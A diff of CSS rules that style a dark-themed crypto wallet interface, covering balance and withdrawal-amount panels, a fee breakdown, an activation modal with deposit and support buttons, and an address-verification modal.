+ .save-address-option input[type="checkbox"] {
1258
+ accent-color: #00d4ff;
1259
+ }
1260
+
1261
+ .balance-display {
1262
+ background: rgba(45, 55, 72, 0.3);
1263
+ border-radius: 12px;
1264
+ padding: 20px;
1265
+ margin-bottom: 24px;
1266
+ }
1267
+
1268
+ .balance-item {
1269
+ display: flex;
1270
+ justify-content: space-between;
1271
+ align-items: center;
1272
+ }
1273
+
1274
+ .balance-label {
1275
+ color: #8892b0;
1276
+ font-size: 14px;
1277
+ }
1278
+
1279
+ .balance-value {
1280
+ text-align: right;
1281
+ }
1282
+
1283
+ .balance-value span:first-child {
1284
+ display: block;
1285
+ color: #ffffff;
1286
+ font-weight: 600;
1287
+ font-size: 18px;
1288
+ }
1289
+
1290
+ .balance-usd {
1291
+ color: #8892b0;
1292
+ font-size: 14px;
1293
+ }
1294
+
1295
+ .amount-input-section {
1296
+ margin-bottom: 24px;
1297
+ }
1298
+
1299
+ .amount-input-section label {
1300
+ display: block;
1301
+ color: #ffffff;
1302
+ font-weight: 600;
1303
+ margin-bottom: 12px;
1304
+ text-transform: uppercase;
1305
+ letter-spacing: 0.5px;
1306
+ }
1307
+
1308
+ .amount-input-group {
1309
+ display: flex;
1310
+ align-items: center;
1311
+ background: rgba(45, 55, 72, 0.5);
1312
+ border: 1px solid #2d3748;
1313
+ border-radius: 8px;
1314
+ padding: 4px;
1315
+ margin-bottom: 8px;
1316
+ }
1317
+
1318
+ .amount-input-group input {
1319
+ flex: 1;
1320
+ background: transparent;
1321
+ border: none;
1322
+ padding: 12px 16px;
1323
+ color: #ffffff;
1324
+ font-size: 18px;
1325
+ font-weight: 600;
1326
+ }
1327
+
1328
+ .amount-input-group input:focus {
1329
+ outline: none;
1330
+ }
1331
+
1332
+ .currency-label {
1333
+ color: #8892b0;
1334
+ font-weight: 600;
1335
+ padding: 0 12px;
1336
+ }
1337
+
1338
+ .btn-max {
1339
+ background: #00d4ff;
1340
+ color: #0f1419;
1341
+ border: none;
1342
+ border-radius: 6px;
1343
+ padding: 8px 16px;
1344
+ font-size: 12px;
1345
+ font-weight: 600;
1346
+ cursor: pointer;
1347
+ margin-right: 8px;
1348
+ }
1349
+
1350
+ .amount-usd {
1351
+ color: #8892b0;
1352
+ font-size: 14px;
1353
+ text-align: right;
1354
+ }
1355
+
1356
+ .withdraw-fee-section {
1357
+ background: rgba(45, 55, 72, 0.3);
1358
+ border-radius: 12px;
1359
+ padding: 20px;
1360
+ margin-bottom: 24px;
1361
+ }
1362
+
1363
+ .withdraw-fee-section h5 {
1364
+ color: #ffffff;
1365
+ font-size: 14px;
1366
+ font-weight: 600;
1367
+ margin-bottom: 16px;
1368
+ text-transform: uppercase;
1369
+ letter-spacing: 0.5px;
1370
+ }
1371
+
1372
+ .fee-breakdown {
1373
+ display: flex;
1374
+ flex-direction: column;
1375
+ gap: 12px;
1376
+ }
1377
+
1378
+ .fee-item {
1379
+ display: flex;
1380
+ justify-content: space-between;
1381
+ color: #8892b0;
1382
+ font-size: 14px;
1383
+ }
1384
+
1385
+ .fee-item.total-fee {
1386
+ border-top: 1px solid #2d3748;
1387
+ padding-top: 12px;
1388
+ color: #ffffff;
1389
+ font-weight: 600;
1390
+ }
1391
+
1392
+ .final-amount {
1393
+ background: rgba(0, 212, 255, 0.1);
1394
+ border: 1px solid #00d4ff;
1395
+ border-radius: 12px;
1396
+ padding: 20px;
1397
+ margin-bottom: 24px;
1398
+ }
1399
+
1400
+ .final-item {
1401
+ display: flex;
1402
+ justify-content: space-between;
1403
+ align-items: center;
1404
+ }
1405
+
1406
+ .final-item span:first-child {
1407
+ color: #00d4ff;
1408
+ font-weight: 600;
1409
+ }
1410
+
1411
+ .final-item span:last-child {
1412
+ color: #ffffff;
1413
+ font-weight: 700;
1414
+ font-size: 18px;
1415
+ }
1416
+
1417
+ /* Enhanced Activation Modal */
1418
+ .activation-requirements {
1419
+ background: rgba(45, 55, 72, 0.3);
1420
+ border-radius: 12px;
1421
+ padding: 20px;
1422
+ margin: 20px 0;
1423
+ }
1424
+
1425
+ .activation-requirements h4 {
1426
+ color: #ffffff;
1427
+ margin-bottom: 12px;
1428
+ }
1429
+
1430
+ .activation-requirements ul {
1431
+ list-style: none;
1432
+ padding: 0;
1433
+ }
1434
+
1435
+ .activation-requirements li {
1436
+ padding: 8px 0;
1437
+ color: #8892b0;
1438
+ font-size: 14px;
1439
+ }
1440
+
1441
+ .status-bar {
1442
+ width: 100%;
1443
+ height: 8px;
1444
+ background: rgba(45, 55, 72, 0.5);
1445
+ border-radius: 4px;
1446
+ margin-bottom: 8px;
1447
+ overflow: hidden;
1448
+ }
1449
+
1450
+ .status-progress {
1451
+ height: 100%;
1452
+ background: linear-gradient(90deg, #00d4ff, #0099cc);
1453
+ border-radius: 4px;
1454
+ transition: width 0.3s ease;
1455
+ }
1456
+
1457
+ .activation-actions {
1458
+ display: flex;
1459
+ gap: 12px;
1460
+ margin: 24px 0;
1461
+ }
1462
+
1463
+ .btn-deposit-now {
1464
+ flex: 1;
1465
+ background: #00d4ff;
1466
+ color: #0f1419;
1467
+ border: none;
1468
+ border-radius: 8px;
1469
+ padding: 12px;
1470
+ font-weight: 600;
1471
+ cursor: pointer;
1472
+ }
1473
+
1474
+ .btn-contact-support {
1475
+ flex: 1;
1476
+ background: rgba(45, 55, 72, 0.8);
1477
+ color: #8892b0;
1478
+ border: 1px solid #2d3748;
1479
+ border-radius: 8px;
1480
+ padding: 12px;
1481
+ font-weight: 600;
1482
+ cursor: pointer;
1483
+ }
1484
+
1485
+ .btn-contact-support:hover {
1486
+ border-color: #00d4ff;
1487
+ color: #00d4ff;
1488
+ }
1489
+
1490
  /* Responsive Design */
1491
  @media (max-width: 1024px) {
1492
  .landing-content {
 
1573
  margin-bottom: 8px;
1574
  }
1575
  }
1576
+
1577
+ /* Verification Modal Styles */
1578
+ .verification-modal {
1579
+ max-width: 500px;
1580
+ }
1581
+
1582
+ .verification-content {
1583
+ text-align: center;
1584
+ }
1585
+
1586
+ .verify-icon {
1587
+ font-size: 48px;
1588
+ margin-bottom: 16px;
1589
+ }
1590
+
1591
+ .verification-content h4 {
1592
+ color: #ffffff;
1593
+ font-size: 20px;
1594
+ margin-bottom: 8px;
1595
+ }
1596
+
1597
+ .verification-content p {
1598
+ color: #8892b0;
1599
+ margin-bottom: 24px;
1600
+ }
1601
+
1602
+ .verification-details {
1603
+ background: rgba(45, 55, 72, 0.3);
1604
+ border-radius: 12px;
1605
+ padding: 20px;
1606
+ margin-bottom: 24px;
1607
+ text-align: left;
1608
+ }
1609
+
1610
+ .verify-item {
1611
+ display: flex;
1612
+ justify-content: space-between;
1613
+ align-items: center;
1614
+ padding: 12px 0;
1615
+ border-bottom: 1px solid rgba(45, 55, 72, 0.5);
1616
+ }
1617
+
1618
+ .verify-item:last-child {
1619
+ border-bottom: none;
1620
+ }
1621
+
1622
+ .verify-label {
1623
+ color: #8892b0;
1624
+ font-size: 14px;
1625
+ }
1626
+
1627
+ .verify-value {
1628
+ color: #ffffff;
1629
+ font-weight: 600;
1630
+ font-size: 14px;
1631
+ }
1632
+
1633
+ .verify-address {
1634
+ font-family: monospace;
1635
+ font-size: 12px;
1636
+ word-break: break-all;
1637
+ max-width: 200px;
1638
+ text-align: right;
1639
+ }
1640
+
1641
+ .verification-warning {
1642
+ background: rgba(239, 68, 68, 0.1);
1643
+ border: 1px solid #ef4444;
1644
+ border-radius: 8px;
1645
+ padding: 16px;
1646
+ margin-bottom: 24px;
1647
+ display: flex;
1648
+ align-items: flex-start;
1649
+ gap: 12px;
1650
+ }
1651
+
1652
+ .warning-icon {
1653
+ font-size: 20px;
1654
+ flex-shrink: 0;
1655
+ }
1656
+
1657
+ .verification-warning p {
1658
+ color: #fbbf24;
1659
+ font-size: 14px;
1660
+ margin: 0;
1661
+ text-align: left;
1662
+ }
1663
+
1664
+ .verification-actions {
1665
+ display: flex;
1666
+ gap: 12px;
1667
+ }
1668
+
1669
+ .btn-cancel {
1670
+ flex: 1;
1671
+ background: rgba(45, 55, 72, 0.8);
1672
+ color: #8892b0;
1673
+ border: 1px solid #2d3748;
1674
+ border-radius: 8px;
1675
+ padding: 16px;
1676
+ font-weight: 600;
1677
+ cursor: pointer;
1678
+ transition: all 0.3s ease;
1679
+ }
1680
+
1681
+ .btn-cancel:hover {
1682
+ border-color: #ef4444;
1683
+ color: #ef4444;
1684
+ }
1685
+
1686
+ .btn-confirm {
1687
+ flex: 1;
1688
+ background: #00d4ff;
1689
+ color: #0f1419;
1690
+ border: none;
1691
+ border-radius: 8px;
1692
+ padding: 16px;
1693
+ font-weight: 600;
1694
+ cursor: pointer;
1695
+ transition: all 0.3s ease;
1696
+ }
1697
+
1698
+ .btn-confirm:hover {
1699
+ background: #0099cc;
1700
+ }
1701
+
1702
+ .btn-continue {
1703
+ position: fixed;
1704
+ bottom: 20px;
1705
+ left: 50%;
1706
+ transform: translateX(-50%);
1707
+ width: 90%;
1708
+ max-width: 400px;
1709
+ z-index: 1000;
1710
+ }
1711
+
1712
+ .withdraw-step {
1713
+ max-height: 100vh; /* Full screen height */
1714
+ overflow-y: auto; /* Allows scrolling */
1715
+ padding-bottom: 20px; /* Avoid button touching bottom edge */
1716
+ }